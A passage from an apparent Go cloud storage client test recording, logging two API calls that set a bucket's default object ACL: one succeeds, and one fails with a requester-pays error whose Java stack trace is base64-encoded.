"eyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiZW50aXR5IjoiZG9tYWluLWdvb2dsZS5jb20iLCJyb2xlIjoiUkVBREVSIiwiZG9tYWluIjoiZ29vZ2xlLmNvbSIsImV0YWciOiJDQVU9In0=" - } - }, - { - "ID": "4a615256ab8c55b4", - "Request": { - "Method": "PUT", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0003/defaultObjectAcl/domain-google.com?alt=json\u0026prettyPrint=false\u0026userProject=deklerk-sandbox", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "107" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "application/json", - "BodyParts": [ - "eyJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMiLCJlbnRpdHkiOiJkb21haW4tZ29vZ2xlLmNvbSIsInJvbGUiOiJSRUFERVIifQo=" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "119" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:25:04 GMT" - ], - "Etag": [ - "CAU=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UpwGIlBhvugAIHxiObS0RPpJ40OY_R3exJfPh5IHLLB3SrdYtGMpD01QLdxc3E0IPGkBiTrwM-Z2X1gMcxuOqJWJUrhV4xTFe_n5G8bBxzievz39F4" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiZW50aXR5IjoiZG9tYWluLWdvb2dsZS5jb20iLCJyb2xlIjoiUkVBREVSIiwiZG9tYWluIjoiZ29vZ2xlLmNvbSIsImV0YWciOiJDQVU9In0=" - } - }, - { - "ID": "63c0acd95aa571a1", - "Request": { - "Method": "PUT", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0003/defaultObjectAcl/domain-google.com?alt=json\u0026prettyPrint=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "107" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "application/json", - "BodyParts": [ - "eyJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMiLCJlbnRpdHkiOiJkb21haW4tZ29vZ2xlLmNvbSIsInJvbGUiOiJSRUFERVIifQo=" - ] - }, - "Response": { - "StatusCode": 400, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Content-Length": [ - "12243" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:25:04 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "agent_rejected" - ], - "X-Guploader-Upload-Result": [ - "agent_rejected" - ], - "X-Guploader-Uploadid": [ - "AEnB2UqNu5DFt-lpr-_4YX8LRIhoi3KVRYVgFAlG7WOPsY7IGJ2NLZSF3SQhmkvfL_IKZ0FWIwx1nGT6HBBe9t2RYXNE1kXis-9KgEaAWhrEByTud5QGx5c" - ] - }, - "Body": "eyJlcnJvciI6eyJlcnJvcnMiOlt7ImRvbWFpbiI6Imdsb2JhbCIsInJlYXNvbiI6InJlcXVpcmVkIiwibWVzc2FnZSI6IkJ1Y2tldCBpcyByZXF1ZXN0ZXIgcGF5cyBidWNrZXQgYnV0IG5vIHVzZXIgcHJvamVjdCBwcm92aWRlZC4iLCJkZWJ1Z0luZm8iOiJjb20uZ29vZ2xlLm5ldC5ycGMzLlJwY0V4Y2VwdGlvbjogY2xvdWQuYmlnc3RvcmUuUmVzcG9uc2VDb2RlLkVycm9yQ29kZTo6VVNFUl9QUk9KRUNUX01JU1NJTkc6IEJ1Y2tldCBpcyBSZXF1ZXN0ZXIgUGF5cyBidWNrZXQgYnV0IG5vIGJpbGxpbmcgcHJvamVjdCBpZCBwcm92aWRlZCBmb3Igbm9uLW93bmVyLlxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50b1JwYzNFeGNlcHRpb24oQmlnc3RvcmVFeGNlcHRpb24uamF2YToxNDcpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMuYWNscy5VcGRhdGVBY2xzLmhhbmRsZVJlcXVlc3RSZWNlaXZlZChVcGRhdGVBY2xzLmphdmE6OTApXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMuYWNscy5VcGRhdGVBY2xzLmhhbmRsZVJlcXVlc3RSZWNlaXZlZChVcGRhdGVBY2xzLmphdmE6MjcpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZVJlcXVlc3RSZWNlaXZlZChSZXF1ZXN0SGFuZGxlci5qYXZhOjMxMClcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlKFJlcXVlc3RIYW5kbGVyLmphdmE6MjU2KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLkFjY2Vzc0NvbnRyb2xzRGVsZWdhdG9yLnVwZGF0ZShBY2Nlc3NDb250cm9sc0RlbGVnYXRvci5qYXZhOjEwMylcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5pc29sYXRpb24uUnBjUmVjZWl2ZXIubGFtYmRhJHByb2Nlc3NSZXF1ZXN0QXN5bmMkNChScGNSZWNlaXZlci5qYXZhOjIwMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5pc29sYXRpb24uQXN5bmNFeGVjdXRvci5sYW1iZGEkc3VibWl0JDAoQXN5bmNFeGVjdXRvci5qYXZhOjI1Mylcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUucnVuSW5Db250ZXh0KENvbnRleHRSdW5uYWJsZS5qYXZhOjUwKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZSQxLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozOSlcblx0YXQgaW8uZ3JwYy5Db250ZXh0LnJ1bihDb250ZXh0LmphdmE6NTY1KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuQ3VycmVudENvbnRleHQucnVuSW5Db250ZXh0KEN1cnJlbnRDb250ZXh0LmphdmE6MjA0KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHROb1VucmVmKEdlbmVyaWNDb250ZXh0Q2FsbGJhY2suamF2YTo3Milcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0KEdlbmVyaWNDb250ZXh0Q2FsbGJhY2suamF2YTo2NClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM1KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IucnVuV29ya2VyKFRocmVhZFBvb2xFeGVjdXRvci5qYXZhOjExNDkpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvciRXb3JrZXIucnVuKFRocmVhZFBvb2xFeGVjdXRvci5qYXZhOjYyNClcblx0YXQgamF2YS5sYW5nLlRocmVhZC5ydW4oVGhyZWFkLmphdmE6NzQ4KVxuQ2F1c2VkIGJ5OiBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbjogQnVja2V0IGlzIFJlcXVlc3RlciBQYXlzIGJ1Y2tldCBidXQgbm8gYmlsbGluZyBwcm9qZWN0IGlkIHByb3ZpZGVkIGZvciBub24tb3duZXIuXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93T25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMxMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMClcblx0Li4uIDE3IG1vcmVcblxuY29tLmdvb2dsZS5hcGkuc2VydmVyLmNvcmUuRmF1bHQ6IEltbXV0YWJsZUVycm9yRGVmaW5pdGlvbntiYXNlPVJFUVVJUkVELCBjYXRlZ29yeT1VU0VSX0VSUk9SLCBjYXVzZT1udWxsLCBkZWJ1Z0luZm89Y29tLmdvb2dsZS5uZXQucnBjMy5ScGNFeGNlcHRpb246IGNsb3VkLmJpZ3N0b3JlLlJlc3BvbnNlQ29kZS5FcnJvckNvZGU6OlVTRVJfUFJPSkVDVF9NSVNTSU5HOiBCdWNrZXQgaXMgUmVxdWVzdGVyIFBheXMgYnVja2V0IGJ1dCBubyBiaWxsaW5nIHByb2plY3QgaWQgcHJvdmlkZWQgZm9yIG5vbi1vd25lci5cblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udG9ScGMzRXhjZXB0aW9uKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MTQ3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLmFjbHMuVXBkYXRlQWNscy5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoVXBkYXRlQWNscy5qYXZhOjkwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLmFjbHMuVXBkYXRlQWNscy5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoVXBkYXRlQWNscy5qYXZhOjI3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoUmVxdWVzdEhhbmRsZXIuamF2YTozMTApXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZShSZXF1ZXN0SGFuZGxlci5qYXZhOjI1Nilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5BY2Nlc3NDb250cm9sc0RlbGVnYXRvci51cGRhdGUoQWNjZXNzQ29udHJvbHNEZWxlZ2F0b3IuamF2YToxMDMpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLlJwY1JlY2VpdmVyLmxhbWJkYSRwcm9jZXNzUmVxdWVzdEFzeW5jJDQoUnBjUmVjZWl2ZXIuamF2YToyMDIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLkFzeW5jRXhlY3V0b3IubGFtYmRhJHN1Ym1pdCQwKEFzeW5jRXhlY3V0b3IuamF2YToyNTMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bkluQ29udGV4dChDb250ZXh0UnVubmFibGUuamF2YTo1MClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUkMS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzkpXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0Tm9VbnJlZihHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NzIpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dChHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NjQpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozNSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yLnJ1bldvcmtlcihUaHJlYWRQb29sRXhlY3V0b3IuamF2YToxMTQ5KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IkV29ya2VyLnJ1bihUaHJlYWRQb29sRXhlY3V0b3IuamF2YTo2MjQpXG5cdGF0IGphdmEubGFuZy5UaHJlYWQucnVuKFRocmVhZC5qYXZhOjc0OClcbkNhdXNlZCBieTogY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb246IEJ1Y2tldCBpcyBSZXF1ZXN0ZXIgUGF5cyBidWNrZXQgYnV0IG5vIGJpbGxpbmcgcHJvamVjdCBpZCBwcm92aWRlZCBmb3Igbm9uLW93bmVyLlxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMTIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjApXG5cdC4uLiAxNyBtb3JlXG4sIGRvbWFpbj1nbG9iYWwsIGV4dGVuZGVkSGVscD1udWxsLCBodHRwSGVhZGVycz17fSwgaHR0cFN0YXR1cz1iYWRSZXF1ZXN0LCBpbnRlcm5hbFJlYXNvbj1SZWFzb257YXJndW1lbnRzPXt9LCBjYXVzZT1udWxsLCBjb2RlPWdkYXRhLkNvcmVFcnJvckRvbWFpbi5SRVFVSVJFRCwgY3JlYXRlZEJ5QmFja2VuZD10cnVlLCBkZWJ1Z01lc3NhZ2U9Y29tLmdvb2dsZS5uZXQucnBjMy5ScGNFeGNlcHRpb246IGNsb3VkLmJpZ3N0b3JlLlJlc3BvbnNlQ29kZS5FcnJvckNvZGU6OlVTRVJfUFJPSkVDVF9NSVNTSU5HOiBCdWNrZXQgaXMgUmVxdWVzdGVyIFBheXMgYnVja2V0IGJ1dCBubyBiaWxsaW5nIHByb2plY3QgaWQgcHJvdmlkZWQgZm9yIG5vbi1vd25lci5cblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udG9ScGMzRXhjZXB0aW9uKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MTQ3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLmFjbHMuVXBkYXRlQWNscy5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoVXBkYXRlQWNscy5qYXZhOjkwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLmFjbHMuVXBkYXRlQWNscy5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoVXBkYXRlQWNscy5qYXZhOjI3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoUmVxdWVzdEhhbmRsZXIuamF2YTozMTApXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZShSZXF1ZXN0SGFuZGxlci5qYXZhOjI1Nilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5BY2Nlc3NDb250cm9sc0RlbGVnYXRvci51cGRhdGUoQWNjZXNzQ29udHJvbHNEZWxlZ2F0b3IuamF2YToxMDMpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLlJwY1JlY2VpdmVyLmxhbWJkYSRwcm9jZXNzUmVxdWVzdEFzeW5jJDQoUnBjUmVjZWl2ZXIuamF2YToyMDIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLkFzeW5jRXhlY3V0b3IubGFtYmRhJHN1Ym1pdCQwKEFzeW5jRXhlY3V0b3IuamF2YToyNTMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bkluQ29udGV4dChDb250ZXh0UnVubmFibGUuamF2YTo1MClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUkMS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzkpXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0Tm9VbnJlZihHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NzIpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dChHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NjQpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozNSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yLnJ1bldvcmtlcihUaHJlYWRQb29sRXhlY3V0b3IuamF2YToxMTQ5KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IkV29ya2VyLnJ1bihUaHJlYWRQb29sRXhlY3V0b3IuamF2YTo2MjQpXG5cdGF0IGphdmEubGFuZy5UaHJlYWQucnVuKFRocmVhZC5qYXZhOjc0OClcbkNhdXNlZCBieTogY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb246IEJ1Y2tldCBpcyBSZXF1ZXN0ZXIgUGF5cyBidWNrZXQgYnV0IG5vIGJpbGxpbmcgcHJvamVjdCBpZCBwcm92aWRlZCBmb3Igbm9uLW93bmVyLlxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMTIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjApXG5cdC4uLiAxNyBtb3JlXG4sIGVycm9yUHJvdG9Db2RlPVJFUVVJUkVELCBlcnJvclByb3RvRG9tYWluPWdkYXRhLkNvcmVFcnJvckRvbWFpbiwgZmlsdGVyZWRNZXNzYWdlPW51bGwsIGxvY2F0aW9uPW51bGwsIG1lc3NhZ2U9QnVja2V0IGlzIHJlcXVlc3RlciBwYXlzIGJ1Y2tldCBidXQgbm8gdXNlciBwcm9qZWN0IHByb3ZpZGVkLiwgdW5uYW1lZEFyZ3VtZW50cz1bXX0sIGxvY2F0aW9uPW51bGwsIG1lc3NhZ2U9QnVja2V0IGlzIHJlcXVlc3RlciBwYXlzIGJ1Y2tldCBidXQgbm8gdXNlciBwcm9qZWN0IHByb3ZpZGVkLiwgcmVhc29uPXJlcXVpcmVkLCBycGNDb2RlPTQwMH0gQnVja2V0IGlzIHJlcXVlc3RlciBwYXlzIGJ1Y2tldCBidXQgbm8gdXNlciBwcm9qZWN0IHByb3ZpZGVkLjogY29tLmdvb2dsZS5uZXQucnBjMy5ScGNFeGNlcHRpb246IGNsb3VkLmJpZ3N0b3JlLlJlc3BvbnNlQ29kZS5FcnJvckNvZGU6OlVTRVJfUFJPSkVDVF9NSVNTSU5HOiBCdWNrZXQgaXMgUmVxdWVzdGVyIFBheXMgYnVja2V0IGJ1dCBubyBiaWxsaW5nIHByb2plY3QgaWQgcHJvdmlkZWQgZm9yIG5vbi1vd25lci5cblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udG9ScGMzRXhjZXB0aW9uKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MTQ3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLmFjbHMuVXBkYXRlQWNscy5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoVXBkYXRlQWNscy5qYXZhOjkwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLmFjbHMuVXBkYXRlQWNscy5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoVXBkYXRlQWNscy5qYXZhOjI3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoUmVxdWVzdEhhbmRsZXIuamF2YTozMTApXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZShSZXF1ZXN0SGFuZGxlci5qYXZhOjI1Nilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5BY2Nlc3NDb250cm9sc0RlbGVnYXRvci51cGRhdGUoQWNjZXNzQ29udHJvbHNEZWxlZ2F0b3IuamF2YToxMDMpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLlJwY1JlY2VpdmVyLmxhbWJkYSRwcm9jZXNzUmVxdWVzdEFzeW5jJDQoUnBjUmVjZWl2ZXIuamF2YToyMDIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLkFzeW5jRXhlY3V0b3IubGFtYmRhJHN1Ym1pdCQwKEFzeW5jRXhlY3V0b3IuamF2YToyNTMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bkluQ29udGV4dChDb250ZXh0UnVubmFibGUuamF2YTo1MClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUkMS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzkpXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0Tm9VbnJlZihHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NzIpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dChHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NjQpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozNSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yLnJ1bldvcmtlcihUaHJlYWRQb29sRXhlY3V0b3IuamF2YToxMTQ5KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IkV29ya2VyLnJ1bihUaHJlYWRQb29sRXhlY3V0b3IuamF2YTo2MjQpXG5cdGF0IGphdmEubGFuZy5UaHJlYWQucnVuKFRocmVhZC5qYXZhOjc0OClcbkNhdXNlZCBieTogY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb246IEJ1Y2tldCBpcyBSZXF1ZXN0ZXIgUGF5cyBidWNrZXQgYnV0IG5vIGJpbGxpbmcgcHJvamVjdCBpZCBwcm92aWRlZCBmb3Igbm9uLW93bmVyLlxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMTIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjApXG5cdC4uLiAxNyBtb3JlXG5cblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLmNvcmUuRXJyb3JDb2xsZWN0b3IudG9GYXVsdChFcnJvckNvbGxlY3Rvci5qYXZhOjU0KVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIucmVzdC5hZGFwdGVyLnJvc3kuUm9zeUVycm9yQ29udmVydGVyLnRvRmF1bHQoUm9zeUVycm9yQ29udmVydGVyLmphdmE6NjcpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci